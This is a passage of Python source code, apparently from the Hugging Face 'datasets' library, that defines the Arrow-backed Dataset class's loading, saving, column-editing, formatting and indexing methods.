arrow_table\n self._indices: Optional[pa.Table] = indices_table\n self._data_files: List[dict] = data_files if data_files is not None else []\n self._indices_data_files: List[dict] = indices_data_files if indices_data_files is not None else []\n self._inplace_history: List[dict] = (\n inplace_history\n if inplace_history is not None\n else [{\"transforms\": []} for _ in range(len(self._data_files))]\n )\n self._format_type: Optional[str] = None\n self._format_kwargs: dict = {}\n self._format_columns: Optional[list] = None\n self._output_all_columns: bool = False\n self._fingerprint: str = fingerprint\n\n # Read metadata\n\n if self._data.schema.metadata is not None and \"huggingface\".encode(\"utf-8\") in self._data.schema.metadata:\n metadata = json.loads(self._data.schema.metadata[\"huggingface\".encode(\"utf-8\")].decode())\n if \"info\" in metadata and self.info.features is None: # try to load features from the arrow file metadata\n self._info.features = DatasetInfo.from_dict(metadata[\"info\"]).features\n if (\n \"fingerprint\" in metadata and self._fingerprint is None\n ): # try to load fingerprint from the arrow file metadata\n self._fingerprint = metadata[\"fingerprint\"]\n\n # Infer features if None\n\n inferred_features = Features.from_arrow_schema(arrow_table.schema)\n if self.info.features is None:\n self.info.features = inferred_features\n\n # Infer fingerprint if None\n\n if self._fingerprint is None:\n self._fingerprint = generate_fingerprint(self)\n\n # Sanity checks\n\n assert self.features is not None, \"Features can't be None in a Dataset object\"\n assert self._fingerprint is not None, \"Fingerprint can't be None in a Dataset object\"\n if self.info.features.type != inferred_features.type:\n raise ValueError(\n \"External features info don't match the dataset:\\nGot\\n{}\\nwith type\\n{}\\n\\nbut expected something like\\n{}\\nwith type\\n{}\".format(\n self.info.features, self.info.features.type, inferred_features, inferred_features.type\n )\n )\n\n if self._indices is not None:\n assert pa.types.is_unsigned_integer(\n self._indices.column(0)[0].type\n ), f\"indices must be an Arrow table of unsigned integers, current type is {self._indices.column(0)[0].type}\"\n\n @classmethod\n def from_file(\n cls,\n filename: str,\n info: Optional[DatasetInfo] = None,\n split: Optional[NamedSplit] = None,\n indices_filename: Optional[str] = None,\n ) -> \"Dataset\":\n \"\"\" Instantiate a Dataset backed by an Arrow table at filename \"\"\"\n mmap = pa.memory_map(filename)\n f = pa.ipc.open_stream(mmap)\n pa_table = f.read_all()\n data_files = [{\"filename\": filename}]\n\n if indices_filename is not None:\n indices_mmap = pa.memory_map(indices_filename)\n indices_f = pa.ipc.open_stream(indices_mmap)\n indices_pa_table = indices_f.read_all()\n indices_data_files = [{\"filename\": indices_filename}]\n else:\n indices_pa_table = None\n indices_data_files = None\n\n return cls(\n arrow_table=pa_table,\n data_files=data_files,\n info=info,\n split=split,\n indices_table=indices_pa_table,\n indices_data_files=indices_data_files,\n )\n\n @classmethod\n def from_buffer(\n cls,\n buffer: pa.Buffer,\n info: Optional[DatasetInfo] = None,\n split: Optional[NamedSplit] = None,\n indices_buffer: Optional[pa.Buffer] = None,\n ) -> \"Dataset\":\n \"\"\" Instantiate a Dataset backed by an Arrow buffer \"\"\"\n mmap = pa.BufferReader(buffer)\n f = pa.ipc.open_stream(mmap)\n pa_table = f.read_all()\n\n if indices_buffer is not None:\n indices_mmap = pa.BufferReader(indices_buffer)\n indices_f = pa.ipc.open_stream(indices_mmap)\n indices_pa_table = indices_f.read_all()\n else:\n indices_pa_table = None\n\n return cls(pa_table, info=info, split=split, indices_table=indices_pa_table)\n\n @classmethod\n def from_pandas(\n cls,\n df: pd.DataFrame,\n features: Optional[Features] = None,\n info: Optional[DatasetInfo] = None,\n split: Optional[NamedSplit] = None,\n ) -> \"Dataset\":\n \"\"\"\n Convert :obj:``pandas.DataFrame`` to a \"obj\"``pyarrow.Table`` to create a :obj:``datasets.Dataset``.\n\n The column types in the resulting Arrow Table are inferred from the dtypes of the pandas.Series in the DataFrame. In the case of non-object\n Series, the NumPy dtype is translated to its Arrow equivalent. In the case of `object`, we need to guess the datatype by looking at the\n Python objects in this Series.\n\n Be aware that Series of the `object` dtype don't carry enough information to always lead to a meaningful Arrow type. In the case that\n we cannot infer a type, e.g. because the DataFrame is of length 0 or the Series only contains None/nan objects, the type is set to\n null. This behavior can be avoided by constructing explicit features and passing it to this function.\n\n Args:\n df (:obj:``pandas.DataFrame``): the dataframe that contains the dataset.\n features (:obj:``datasets.Features``, `optional`, defaults to :obj:``None``): If specified, the features types of the dataset\n info (:obj:``datasets.DatasetInfo``, `optional`, defaults to :obj:``None``): If specified, the dataset info containing info like\n description, citation, etc.\n split (:obj:``datasets.NamedSplit``, `optional`, defaults to :obj:``None``): If specified, the name of the dataset split.\n \"\"\"\n if info is not None and features is not None and info.features != features:\n raise ValueError(\n \"Features specified in `features` and `info.features` can't be different:\\n{}\\n{}\".format(\n features, info.features\n )\n )\n features = features if features is not None else info.features if info is not None else None\n if info is None:\n info = DatasetInfo()\n info.features = features\n pa_table: pa.Table = pa.Table.from_pandas(\n df=df, schema=pa.schema(features.type) if features is not None else None\n )\n return cls(pa_table, info=info, split=split)\n\n @classmethod\n def from_dict(\n cls,\n mapping: dict,\n features: Optional[Features] = None,\n info: Optional[Any] = None,\n split: Optional[Any] = None,\n ) -> \"Dataset\":\n \"\"\"\n Convert :obj:``dict`` to a \"obj\"``pyarrow.Table`` to create a :obj:``datasets.Dataset``.\n\n Args:\n mapping (:obj:``mapping``): A mapping of strings to Arrays or Python lists.\n features (:obj:``datasets.Features``, `optional`, defaults to :obj:``None``): If specified, the features types of the dataset\n info (:obj:``datasets.DatasetInfo``, `optional`, defaults to :obj:``None``): If specified, the dataset info containing info like\n description, citation, etc.\n split (:obj:``datasets.NamedSplit``, `optional`, defaults to :obj:``None``): If specified, the name of the dataset split.\n \"\"\"\n if info is not None and features is not None and info.features != features:\n raise ValueError(\n \"Features specified in `features` and `info.features` can't be different:\\n{}\\n{}\".format(\n features, info.features\n )\n )\n features = features if features is not None else info.features if info is not None else None\n if info is None:\n info = DatasetInfo()\n info.features = features\n if features is not None:\n mapping = features.encode_batch(mapping)\n else:\n mapping = cast_to_python_objects(mapping)\n mapping = {\n col: TypedSequence(data, type=features.type[col].type if features is not None else None)\n for col, data in mapping.items()\n }\n pa_table: pa.Table = pa.Table.from_pydict(mapping=mapping)\n return cls(pa_table, info=info, split=split)\n\n def __getstate__(self):\n state = dict(self.__dict__)\n state[\"_info\"] = json.dumps(asdict(state[\"_info\"]))\n state[\"_split\"] = str(state[\"_split\"]) if state[\"_split\"] is not None else None\n if self._data_files:\n state[\"_data\"] = None\n if self._indices_data_files:\n state[\"_indices\"] = None\n return state\n\n def __setstate__(self, state):\n assert (\n state.get(\"_data\") is not None or state.get(\"_data_files\") is not None\n ), \"tried to unpickle a dataset without arrow_table or data_files\"\n state = dict(state)\n state[\"_info\"] = DatasetInfo.from_dict(json.loads(state[\"_info\"]))\n state[\"_split\"] = NamedSplit(state[\"_split\"]) if state[\"_split\"] is not None else None\n self.__dict__ = state\n reader = ArrowReader(\"\", self.info)\n # Read arrow tables\n if self._data is None and self._data_files:\n tables = []\n for data_file, inplace_hist_per_file in zip(self._data_files, self._inplace_history):\n # Replay in-place history of transforms (cast_, rename_column_, etc.)\n pa_table = reader._read_files([data_file])\n sub_dataset = Dataset(pa_table, fingerprint=\"\")\n for inplace_transform_name, args, kwargs in inplace_hist_per_file[\"transforms\"]:\n getattr(sub_dataset, inplace_transform_name)(*args, **kwargs)\n tables.append(sub_dataset._data)\n tables = [t for t in tables if len(t) > 0]\n # fix all-empty tables\n tables = tables or [pa.Table.from_batches([], schema=pa.schema(self.info.features.type))]\n self._data = pa.concat_tables(tables)\n reader = ArrowReader(\"\", DatasetInfo(features=Features({\"indices\": Value(\"int64\")})))\n if self._indices is None and self._indices_data_files:\n self._indices = reader._read_files(self._indices_data_files)\n\n def save_to_disk(self, dataset_path: str):\n \"\"\"\n Save the dataset in a dataset directory\n\n Args:\n dataset_path (``str``): path of the dataset directory where the dataset will be saved to\n \"\"\"\n assert (\n not self.list_indexes()\n ), \"please remove all the indexes using `dataset.drop_index` before saving a dataset\"\n self = pickle.loads(pickle.dumps(self))\n os.makedirs(dataset_path, exist_ok=True)\n # Write indices if needed\n if self._indices is not None:\n if not self._indices_data_files:\n cache_file_name = os.path.join(dataset_path, \"indices.arrow\")\n writer = ArrowWriter(path=cache_file_name)\n writer.write_table(self._indices)\n writer.finalize()\n self._indices_data_files = [{\"filename\": cache_file_name}]\n # Write dataset if needed\n if not self._data_files or any(len(h[\"transforms\"]) > 0 for h in self._inplace_history):\n cache_file_name = os.path.join(dataset_path, \"dataset.arrow\")\n writer = ArrowWriter(path=cache_file_name)\n writer.write_table(self._data)\n writer.finalize()\n self._data_files = [{\"filename\": cache_file_name}]\n self._inplace_history = [{\"transforms\": []}]\n # Copy all files into the dataset directory\n for data_file in self._data_files + self._indices_data_files:\n # Copy file to destination directory\n src = data_file[\"filename\"]\n filename = src.split(\"/\")[-1]\n dest = os.path.join(dataset_path, filename)\n if src != dest:\n shutil.copy(src, dest)\n # Change path to relative path from inside the destination directory\n data_file[\"filename\"] = filename\n # Get state\n state = self.__getstate__()\n dataset_info = json.loads(state.pop(\"_info\"))\n assert state.get(\"_data\") is None, \"arrow table needs to be memory mapped\"\n assert state.get(\"_indices\") is None, \"arrow table needs to be memory mapped\"\n assert all(\n len(h[\"transforms\"]) == 0 for h in state.get(\"_inplace_history\", [])\n ), \"in-place history needs to be empty\"\n # Serialize state\n with open(os.path.join(dataset_path, \"state.json\"), \"w\") as state_file:\n json.dump(state, state_file, indent=2, sort_keys=True)\n with open(os.path.join(dataset_path, \"dataset_info.json\"), \"w\") as dataset_info_file:\n json.dump(dataset_info, dataset_info_file, indent=2, sort_keys=True)\n logger.info(\"Dataset saved in {}\".format(dataset_path))\n\n @staticmethod\n def load_from_disk(dataset_path: str) -> \"Dataset\":\n \"\"\"Load the dataset from a dataset directory\n\n Args:\n dataset_path (``str``): path of the dataset directory where the dataset will be loaded from\n \"\"\"\n with open(os.path.join(dataset_path, \"state.json\"), \"r\") as state_file:\n state = json.load(state_file)\n with open(os.path.join(dataset_path, \"dataset_info.json\"), \"r\") as dataset_info_file:\n dataset_info = json.load(dataset_info_file)\n state[\"_info\"] = json.dumps(dataset_info)\n dataset = Dataset.from_dict({})\n state = {k: state[k] for k in dataset.__dict__.keys()} # in case we add new fields\n # Change path to absolute path\n for data_file in state.get(\"_data_files\", []) + state.get(\"_indices_data_files\", []):\n data_file[\"filename\"] = os.path.join(dataset_path, data_file[\"filename\"])\n dataset.__setstate__(state)\n return dataset\n\n @property\n def data(self) -> pa.Table:\n \"\"\"The Apache Arrow table backing the dataset.\"\"\"\n return self._data\n\n @property\n def cache_files(self):\n \"\"\"The cache file containing the Apache Arrow table backing the dataset.\"\"\"\n return self._data_files\n\n @property\n def num_columns(self) -> int:\n \"\"\"Number of columns in the dataset.\"\"\"\n return self._data.num_columns\n\n @property\n def num_rows(self) -> int:\n \"\"\"Number of rows in the dataset (same as :func:`datasets.Dataset.__len__`).\"\"\"\n if self._indices is not None:\n return self._indices.num_rows\n return self._data.num_rows\n\n @property\n def column_names(self) -> List[str]:\n \"\"\"Names of the columns in the dataset. \"\"\"\n return self._data.column_names\n\n @property\n def shape(self) -> Tuple[int]:\n \"\"\"Shape of the dataset (number of columns, number of rows).\"\"\"\n if self._indices is not None:\n return tuple(self._indices.num_rows, self._data.num_columns)\n return self._data.shape\n\n def unique(self, column: str) -> List[Any]:\n \"\"\"Return a list of the unique elements in a column.\n\n This is implemented in the low-level backend and as such, very fast.\n\n Args:\n column (:obj:`str`):\n column name (list all the column names with :func:`datasets.Dataset.column_names`)\n\n Returns: :obj:`list` of unique elements in the given column.\n\n \"\"\"\n if column not in self._data.column_names:\n raise ValueError(f\"Column ({column}) not in table columns ({self._data.column_names}).\")\n\n if self._indices is not None and self._indices.num_rows != self._data.num_rows:\n raise ValueError(\n f\"This dataset is a shallow copy using an indices mapping of another Datset {self._data.num_rows}.\"\n f\"The `Dataset.unique()` method is currently not handled on shallow copy. Please use `Dataset.flatten_indices()` \"\n f\"to create a deep copy of the dataset and be able to use `Dataset.unique()`.\"\n )\n\n return self._data.column(column).unique().to_pylist()\n\n @fingerprint(inplace=True)\n def dictionary_encode_column_(self, column: str):\n \"\"\"Dictionary encode a column.\n\n Dictionary encode can reduce the size of a column with many repetitions (e.g. string labels columns)\n by storing a dictionary of the strings. This only affect the internal storage.\n\n Args:\n column (:obj:`str`):\n\n \"\"\"\n if column not in self._data.column_names:\n raise ValueError(f\"Column ({column}) not in table columns ({self._data.column_names}).\")\n casted_schema: pa.Schema = self._data.schema\n field_index = casted_schema.get_field_index(column)\n field: pa.Field = casted_schema.field(field_index)\n casted_field = pa.field(field.name, pa.dictionary(pa.int32(), field.type), nullable=False)\n casted_schema.set(field_index, casted_field)\n self._data = self._data.cast(casted_schema)\n self.info.features = Features.from_arrow_schema(self._data.schema)\n\n @fingerprint(inplace=True)\n def flatten_(self, max_depth=16):\n \"\"\"Flatten the Table.\n Each column with a struct type is flattened into one column per struct field.\n Other columns are left unchanged.\n \"\"\"\n for depth in range(1, max_depth):\n if any(isinstance(field.type, pa.StructType) for field in self._data.schema):\n self._data = self._data.flatten()\n else:\n break\n if self.info is not None:\n self.info.features = Features.from_arrow_schema(self._data.schema)\n logger.info(\n \"Flattened dataset from depth {} to depth {}.\".format(depth, 1 if depth + 1 < max_depth else \"unknown\")\n )\n\n @fingerprint(inplace=True)\n def cast_(self, features: Features):\n \"\"\"\n Cast the dataset to a new set of features.\n\n You can also remove a column using :func:`Dataset.map` with `feature` but :func:`cast_`\n is in-place (doesn't copy the data to a new dataset) and is thus faster.\n\n Args:\n features (:class:`datasets.Features`): New features to cast the dataset to.\n The name and order of the fields in the features must match the current column names.\n The type of the data must also be convertible from one type to the other.\n For non-trivial conversion, e.g. string <-> ClassLabel you should use :func:`map` to update the Dataset.\n \"\"\"\n if list(features) != self._data.column_names:\n raise ValueError(\n f\"The columns in features ({list(features)}) must be identical and in the same order \"\n f\"as the columns in the dataset: {self._data.column_names}\"\n )\n\n self._info.features = features\n schema = pa.schema(features.type)\n self._data = self._data.cast(schema)\n\n @fingerprint(inplace=True)\n def remove_columns_(self, column_names: Union[str, List[str]]):\n \"\"\"\n Remove one or several column(s) in the dataset and\n the features associated to them.\n\n You can also remove a column using :func:`Dataset.map` with `remove_columns` but the present method\n is in-place (doesn't copy the data to a new dataset) and is thus faster.\n\n Args:\n column_names (:obj:`Union[str, List[str]]`): Name of the column(s) to remove.\n \"\"\"\n if isinstance(column_names, str):\n column_names = [column_names]\n\n for column_name in column_names:\n if column_name not in self._data.column_names:\n raise ValueError(\n f\"Column name {column_name} not in the dataset. \"\n f\"Current columns in the dataset: {self._data.column_names}\"\n )\n\n for column_name in column_names:\n del self._info.features[column_name]\n\n self._data = self._data.drop(column_names)\n\n @fingerprint(inplace=True)\n def rename_column_(self, original_column_name: str, new_column_name: str):\n \"\"\"\n Rename a column in the dataset and move the features associated to the original column under the new column name.\n\n You can also rename a column using :func:`Dataset.map` with `remove_columns` but the present method:\n - takes care of moving the original features under the new column name.\n - doesn't copy the data to a new dataset and is thus much faster.\n\n Args:\n original_column_name (:obj:`str`): Name of the column to rename.\n new_column_name (:obj:`str`): New name for the column.\n \"\"\"\n if original_column_name not in self._data.column_names:\n raise ValueError(\n f\"Original column name {original_column_name} not in the dataset. \"\n f\"Current columns in the dataset: {self._data.column_names}\"\n )\n if new_column_name in self._data.column_names:\n raise ValueError(\n f\"New column name {original_column_name} already in the dataset. \"\n f\"Please choose a column name which is not already in the dataset. \"\n f\"Current columns in the dataset: {self._data.column_names}\"\n )\n if not new_column_name:\n raise ValueError(\"New column name is empty.\")\n\n new_column_names = [new_column_name if col == original_column_name else col for col in self._data.column_names]\n\n self._info.features[new_column_name] = self._info.features[original_column_name]\n del self._info.features[original_column_name]\n\n self._data = self._data.rename_columns(new_column_names)\n\n def __len__(self):\n \"\"\" Number of rows in the dataset \"\"\"\n return self.num_rows\n\n def __iter__(self):\n \"\"\"Iterate through the examples.\n If a formatting is set with :func:`datasets.Dataset.set_format` rows will be returned with the\n selected format.\n \"\"\"\n format_type = self._format_type\n format_kwargs = self._format_kwargs\n format_columns = self._format_columns\n output_all_columns = self._output_all_columns\n for index in range(self.num_rows):\n yield self._getitem(\n index,\n format_type=format_type,\n format_columns=format_columns,\n output_all_columns=output_all_columns,\n format_kwargs=format_kwargs,\n )\n\n def __repr__(self):\n return f\"Dataset(features: {self.features}, num_rows: {self.num_rows})\"\n\n @property\n def format(self):\n return {\n \"type\": self._format_type,\n \"format_kwargs\": self._format_kwargs,\n \"columns\": self.column_names if self._format_columns is None else self._format_columns,\n \"output_all_columns\": self._output_all_columns,\n }\n\n @contextlib.contextmanager\n def formatted_as(\n self,\n type: Optional[str] = None,\n columns: Optional[List] = None,\n output_all_columns: bool = False,\n **format_kwargs,\n ):\n \"\"\"To be used in a `with` statement. Set __getitem__ return format (type and columns)\n\n Args:\n type (Optional ``str``): output type selected in [None, 'numpy', 'torch', 'tensorflow', 'pandas']\n None means __getitem__ returns python objects (default)\n columns (Optional ``List[str]``): columns to format in the output\n None means __getitem__ returns all columns (default)\n output_all_columns (``bool`` default to False): keep un-formatted columns as well in the output (as python objects)\n format_kwargs: keywords arguments passed to the convert function like `np.array`, `torch.tensor` or `tensorflow.ragged.constant`.\n \"\"\"\n old_format_type = self._format_type\n old_format_kwargs = self._format_kwargs\n old_format_columns = self._format_columns\n old_output_all_columns = self._output_all_columns\n try:\n self.set_format(type, columns, output_all_columns, **format_kwargs)\n yield\n finally:\n self.set_format(old_format_type, old_format_columns, old_output_all_columns, **old_format_kwargs)\n\n @fingerprint(inplace=True)\n def set_format(\n self,\n type: Optional[str] = None,\n columns: Optional[List] = None,\n output_all_columns: bool = False,\n **format_kwargs,\n ):\n \"\"\"Set __getitem__ return format (type and columns)\n\n Args:\n type (Optional ``str``): output type selected in [None, 'numpy', 'torch', 'tensorflow', 'pandas']\n None means __getitem__ returns python objects (default)\n columns (Optional ``List[str]``): columns to format in the output\n None means __getitem__ returns all columns (default)\n output_all_columns (``bool`` default to False): keep un-formatted columns as well in the output (as python objects)\n format_kwargs: keywords arguments passed to the convert function like `np.array`, `torch.tensor` or `tensorflow.ragged.constant`.\n \"\"\"\n # Check return type\n if type in [\"torch\", \"pytorch\", \"pt\"]:\n try:\n import torch # noqa: F401\n except ImportError:\n logger.error(\"PyTorch needs to be installed to be able to return PyTorch tensors.\")\n type = \"torch\"\n elif type in [\"tensorflow\", \"tf\"]:\n try:\n import tensorflow # noqa: F401\n except ImportError:\n logger.error(\"Tensorflow needs to be installed to be able to return Tensorflow tensors.\")\n type = \"tensorflow\"\n elif type in [\"numpy\", \"np\"]:\n type = \"numpy\"\n elif type in [\"pandas\", \"pd\"]:\n type = \"pandas\"\n elif type in [None, \"python\"]:\n type = None\n else:\n assert not (\n type == \"pandas\" and (output_all_columns or format_kwargs)\n ), \"Format type 'pandas' doesn't allow the use of `output_all_columns` or `**format_kwargs`.\"\n assert (\n type is None or type == \"numpy\" or type == \"pandas\"\n ), \"Return type should be None or selected in ['numpy', 'torch', 'tensorflow', 'pandas'], but got '{}'\".format(\n type\n )\n\n # Check filter column\n if isinstance(columns, str):\n columns = [columns]\n if columns is not None and any(col not in self._data.column_names for col in columns):\n raise ValueError(\n \"Columns {} not in the dataset. Current columns in the dataset: {}\".format(\n list(filter(lambda col: col not in self._data.column_names, columns)), self._data.column_names\n )\n )\n\n format_kwargs.update(format_kwargs.pop(\"format_kwargs\", {})) # allow to use self.set_format(self.format)\n self._format_type = type\n self._format_kwargs = format_kwargs\n self._format_columns = columns\n self._output_all_columns = output_all_columns\n logger.info(\n \"Set __getitem__(key) output type to %s for %s columns \"\n \" (when key is int or slice) and %s output other (un-formatted) columns.\",\n \"python objects\" if type is None else type,\n \"no\" if columns is None else str(columns),\n \"do\" if output_all_columns else \"don't\",\n )\n\n def reset_format(self):\n \"\"\"Reset __getitem__ return format to python objects and all columns.\n\n Same as ``self.set_format()``\n \"\"\"\n self.set_format()\n\n def _convert_outputs(\n self, outputs, format_type=None, format_columns=None, output_all_columns=False, format_kwargs=None\n ):\n format_kwargs = format_kwargs if format_kwargs is not None else {}\n if format_type is None:\n if output_all_columns:\n return outputs\n if isinstance(outputs, dict) and format_columns is not None:\n return {k: v for k, v in outputs.items() if k in format_columns}\n return outputs\n\n map_nested_kwargs = {}\n if format_type == \"numpy\":\n if \"copy\" not in format_kwargs:\n format_kwargs[\"copy\"] = False\n command = partial(np.array, **format_kwargs)\n map_nested_kwargs[\"map_list\"] = False # convert lists to arrays\n elif format_type == \"torch\":\n import torch\n\n map_nested_kwargs[\"map_list\"] = False # convert lists to tensors\n\n def command(x):\n if isinstance(\n x, (list, tuple, np.ndarray)\n ): # add support for nested types like struct of list of struct\n x = np.array(x, copy=False)\n if x.dtype == np.object: # pytorch tensors cannot be instantied from an array of objects\n return [map_nested(command, i, **map_nested_kwargs) for i in x]\n return torch.tensor(x, **format_kwargs)\n\n elif format_type == \"tensorflow\":\n import tensorflow\n\n map_nested_kwargs[\"map_list\"] = False # convert lists to tensors\n\n def command(x):\n if isinstance(\n x, (list, tuple, np.ndarray)\n ): # add support for nested types like struct of list of struct\n x = np.array(x, copy=False)\n if x.dtype == np.object: # tensorflow tensors can sometimes be instantied from an array of objects\n try:\n return tensorflow.ragged.constant(x, **format_kwargs)\n except ValueError:\n return [map_nested(command, i, **map_nested_kwargs) for i in x]\n return tensorflow.ragged.constant(x, **format_kwargs)\n\n else:\n\n def identity(x):\n return x\n\n command = identity\n if isinstance(outputs, (list, tuple, np.ndarray, pd.Series)):\n return command(outputs)\n elif isinstance(outputs, pd.DataFrame):\n if format_columns is not None and not output_all_columns:\n to_remove_columns = [col for col in self.column_names if col not in format_columns]\n output_dict = outputs.drop(to_remove_columns, axis=1)\n else:\n output_dict = outputs\n else:\n output_dict = {}\n for k, v in outputs.items():\n if format_columns is not None and k not in format_columns and not output_all_columns:\n continue\n if format_columns is None or k in format_columns:\n v = map_nested(command, v, **map_nested_kwargs)\n output_dict[k] = v\n return output_dict\n\n @staticmethod\n def _unnest(py_dict):\n return dict((key, array[0]) for key, array in py_dict.items())\n\n @staticmethod\n def _nest(py_dict):\n return dict((key, [elem]) for key, elem in py_dict.items())\n\n def _map_indices(self, indices: Union[int, slice, pa.Array, Iterable]):\n if self._indices is None:\n return indices\n\n if isinstance(indices, int):\n return self._indices.column(0)[indices].as_py()\n\n slice_indices = None\n array_indices = None\n if isinstance(indices, slice):\n slice_indices = indices.indices(self.num_rows)\n # Check if the slice is a contiguous slice - else build an indices array\n if slice_indices[2] != 1 or slice_indices[1] < slice_indices[0]:\n array_indices = pa.array(list(range(*slice_indices)), type=pa.uint64())\n elif isinstance(indices, pa.Array):\n array_indices = indices\n elif isinstance(indices, Iterable):\n array_indices = pa.array([int(i) for i in indices], type=pa.uint64())\n\n # We can do a slice\n if array_indices is None:\n return self._indices.column(0).slice(slice_indices[0], slice_indices[1] - slice_indices[0])\n\n # We cannot do a slice, we need to do a take or some concatenation on pyarrow < 1.0.0\n if PYARROW_V0: # pre-1.0.0 backward compatibility\n data_array = pa.concat_tables(self._indices.slice(i.as_py(), 1) for i in array_indices).column(0)\n else:\n data_array = self._indices.column(0).take(array_indices)\n\n return data_array\n\n def _getitem(\n self,\n key: Union[int, slice, str],\n format_type=None,\n format_columns=None,\n output_all_columns=False,\n format_kwargs=None,\n ) -> Union[Dict, List]:\n \"\"\"\n Can be used to index columns (by string names) or rows (by integer index, slices, or iter of indices or bools)\n \"\"\"\n # In the following, to convert data from the arrow table to dicts or lists,\n # we use .to_pandas().to_dict() or .to_pandas().to_list() as they are\n # significantly faster than .to_pydict() thanks to zero-copy and because it doesn't\n # call `list()` on every object in sequences of sequences of objects for example\n if isinstance(key, int):\n if key < 0:\n key = self.num_rows + key\n if key >= self.num_rows or key < 0:\n raise IndexError(f\"Index ({key}) outside of table length ({self.num_rows}).\")\n\n # Check if we need to convert indices\n key = self._map_indices(key)\n\n if format_type is not None:\n if format_type == \"pandas\":\n outputs = self._data.slice(key, 1).to_pandas(types_mapper=pandas_types_mapper)\n else:\n outputs = self._unnest(\n self._data.slice(key, 1).to_pandas(types_mapper=pandas_types_mapper).to_dict(\"list\")\n )\n else:\n outputs = self._unnest(self._data.slice(key, 1).to_pydict())\n\n elif isinstance(key, slice):\n indices_array = None\n key_indices = key.indices(self.num_rows)\n\n # Check if the slice is a contiguous slice - else build an indices array\n if key_indices[2] != 1 or key_indices[1] < key_indices[0]:\n indices_array = pa.array(list(range(*key)), type=pa.uint64())\n\n # Check if we need to convert indices\n if self._indices is not None:\n indices_array = self._map_indices(indices_array if indices_array else key)\n # TODO: here we could add a check that the resulting indices are a contiguous slice\n # to avoid using 'take' instead of 'slice'\n\n # Get the subset of the table\n if indices_array is not None:\n # if PYARROW_V0: # don't use take (see https://issues.apache.org/jira/browse/ARROW-9773)\n data_subset = pa.concat_tables(\n self._data.slice(indices_array[i].as_py(), 1) for i in range(len(indices_array))\n )\n # else:\n # data_subset = self._data.take(indices_array)\n else:\n data_subset = self._data.slice(key_indices[0], key_indices[1] - key_indices[0])\n\n # Convert to the format\n if format_type is not None:\n if format_type == \"pandas\":\n outputs = data_subset.to_pandas(types_mapper=pandas_types_mapper)\n else:\n outputs = data_subset.to_pandas(types_mapper=pandas_types_mapper).to_dict(\"list\")\n else:\n outputs = data_subset.to_pydict()\n\n elif isinstance(key, str):\n if key not in self._data.column_names:\n raise ValueError(f\"Column ({key}) not in table columns ({self._data.column_names}).\")\n\n # Check if we need to convert indices\n if self._indices is not None:\n indices_array = self._indices.column(0)\n # if PYARROW_V0: # don't use take (see https://issues.apache.org/jira/browse/ARROW-9773)\n data_array = pa.concat_tables(self._data.slice(i.as_py(), 1) for i in indices_array).column(key)\n # else:\n # data_array = self._data.column(key).take(indices_array)\n else:\n data_array = self._data.column(key)\n\n if format_type is not None:\n # We should use\n # outputs = self._data[key].to_pandas(types_mapper=pandas_types_mapper)\n # but there is a bug in pyarrow that makes ignores the types_mapper in that case\n # see https://issues.apache.org/jira/browse/ARROW-9664\n # We build a table with one column and call to_pandas on it instead\n one_column_table = pa.Table.from_arrays([data_array], schema=pa.schema([self._data.schema.field(key)]))\n if format_columns is None or key in format_columns:\n if format_type == \"pandas\":\n outputs = one_column_table.to_pandas(types_mapper=pandas_types_mapper)[key]\n else:\n outputs = one_column_table.to_pandas(types_mapper=pandas_types_mapper)[key].to_list()\n else:\n outputs = one_column_table.to_pandas(types_mapper=pandas_types_mapper)[key].to_list()\n else:\n outputs = data_array.to_pylist()\n\n elif isinstance(key, Iterable):\n if len(key) > 0 and isinstance(key[0], (bool, np.bool_)):\n if len(key) != self.__len__():\n raise ValueError(\n f\"Iterable with bool entries must be length of dataset ({self.__len__()}), \" f\"not {len(key)}\"\n )\n indices = [i for i, val in enumerate(key) if val]\n else:\n indices = key\n\n indices_array = pa.array([int(i) for i in indices], type=pa.uint64())\n\n # Check if we need to convert indices\n indices_array = self._map_indices(indices_array)\n\n # TODO: here we could add a check that the resulting indices are a contiguous slice\n # to avoid using 'take' instead of 'slice'\n\n # if PYARROW_V0: # don't use take (see https://issues.apache.org/jira/browse/ARROW-9773)\n data_subset = pa.concat_tables(\n self._data.slice(indices_array[i].as_py(), 1) for i in range(len(indices_array))\n )\n # else:\n # data_subset = self._data.take(indices_array)\n\n if format_type is not None:\n if format_type == \"pandas\":\n outputs = data_subset.to_pandas(types_mapper=pandas_types_mapper)\n else:\n outputs = data_subset.to_pandas(types_mapper=pandas_types_mapper).to_dict(\"list\")\n else:\n outputs = data_subset.to_pydict()\n\n else:\n raise ValueError(\"Can only get row(s) (int or slice or list[int]) or columns (string).\")\n\n if format_type is not None or format_columns is not None:\n outputs = self._convert_outputs(\n outputs,\n format_type=format_type,\n format_columns=format_columns,\n output_all_columns=output_all_columns,\n format_kwargs=format_kwargs,\n )\n return outputs\n\n def __getitem__(self, key: Union[int, slice, str]) -> Union[Dict, List]:\n \"\"\"\n Can be used to index columns (by string names) or rows (by integer index or iterable of indices or bools)\n \"\"\"\n return self._getitem(\n key,\n format_type=self._format_type,\n format_columns=self._format_columns,\n output_all_columns=self._output_all_columns,\n format_kwargs=self._format_kwargs,\n )\n\n def cleanup_cache_files(self):\n \"\"\"Clean up all cache files in the dataset cache directory, excepted the currently used cache file if there is one.\n Be carefull when running this command that no other process is currently using other cache files.\n\n Return:\n Number of removed files\n \"\"\"\n if not self._data_files or \"filename\" not in self._data_files[0]:\n return None\n current_cache_files = [os.path.abspath(cache_file[\"filename\"]) for cache_file in self._data_files]\n cache_directory = os.path.dirname(current_cache_files[0])\n logger.info(f\"Listing files in {cache_directory}\")\n files: List[str] = os.listdir(cache_directory)\n files_to_remove = []\n for f_name in files:\n full_name = os.path.abspath(os.path.join(cache_directory, f_name))\n if f_name.startswith(\"cache-\") and f_name.endswith(\".arrow\"):\n if full_name in current_cache_files:\n logger.info(f\"Keeping currently used cache file at {full_name}\")\n continue\n files_to_remove.append(full_name)\n for file_path in files_to_remove:\n logger.info(f\"Removing {file_path}\")\n os.remove(file_path)\n return len(files_to_remove)\n\n def _get_cache_file_path(self, fingerprint):\n cache_file_name = \"cache-\" + fingerprint + \".arrow\"\n cache_directory = os.path.dirname(self._data_files[0][\"filename\"])\n cache_file_path = os.path.join(cache_directory, cache_file_name)\n return cache_file_path\n\n def map(\n self,\n function: Optional[Callable] = None,\n with_indices: bool = False,\n input_columns: Optional[Union[str, List[str]]] = None,\n batched: bool = False,\n batch_size: Optional[int] = 1000,\n drop_last_batch: bool = False,\n remove_columns: Optional[List[str]] = None,\n keep_in_memory: bool = False,\n load_from_cache_file: bool = True,\n cache_file_name: Optional[str] = None,\n writer_batch_size: Optional[int] = 1000,\n features: 